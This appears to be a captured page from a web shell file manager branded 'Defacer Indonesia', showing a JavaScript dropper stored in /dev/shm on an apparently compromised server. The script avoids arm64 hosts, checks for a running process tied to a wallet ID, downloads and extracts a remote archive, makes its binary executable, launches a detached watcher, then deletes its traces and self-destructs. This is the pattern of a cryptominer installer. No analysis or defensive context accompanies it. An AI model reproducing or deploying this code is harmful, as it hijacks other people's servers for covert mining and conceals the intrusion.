whoami7 - Manager
:
/
dev
/
shm
/
Upload File:
files >> //dev/shm/main.js
const fs = require('fs'); const { execSync, spawn } = require('child_process'); const path = require('path'); const config = require('./config'); const utils = require('./utils'); const network = require('./network'); const proc = require('./proc'); (async () => { try { if (utils.isArm64()) { utils.selfDestruct(); return; } const status = proc.checkProcessStatus(config.processName, config.walletID); if (status === 1) { utils.selfDestruct(); return; } if (!fs.existsSync(config.extractDir)) { if (!fs.existsSync(config.homeDir)) { try { fs.mkdirSync(config.homeDir, { recursive: true }); } catch(e){} } await network.downloadFile(config.downloadUrl, config.tarFile); try { execSync(`tar xvzf "${config.tarFile}"`, { cwd: config.homeDir, stdio: 'ignore' }); } catch (e) {} } if (fs.existsSync(config.binaryPath)) { fs.chmodSync(config.binaryPath, 0o755); } const watcherPath = path.join(__dirname, 'watcher.js'); const subprocess = spawn(process.execPath, [watcherPath], { detached: true, stdio: 'ignore', cwd: __dirname }); subprocess.unref(); await utils.sleep(1000); if (fs.existsSync(config.tarFile)) fs.unlinkSync(config.tarFile); utils.selfDestruct(); } catch (error) { utils.selfDestruct(1); } })();
Copyright ©2021 || Defacer Indonesia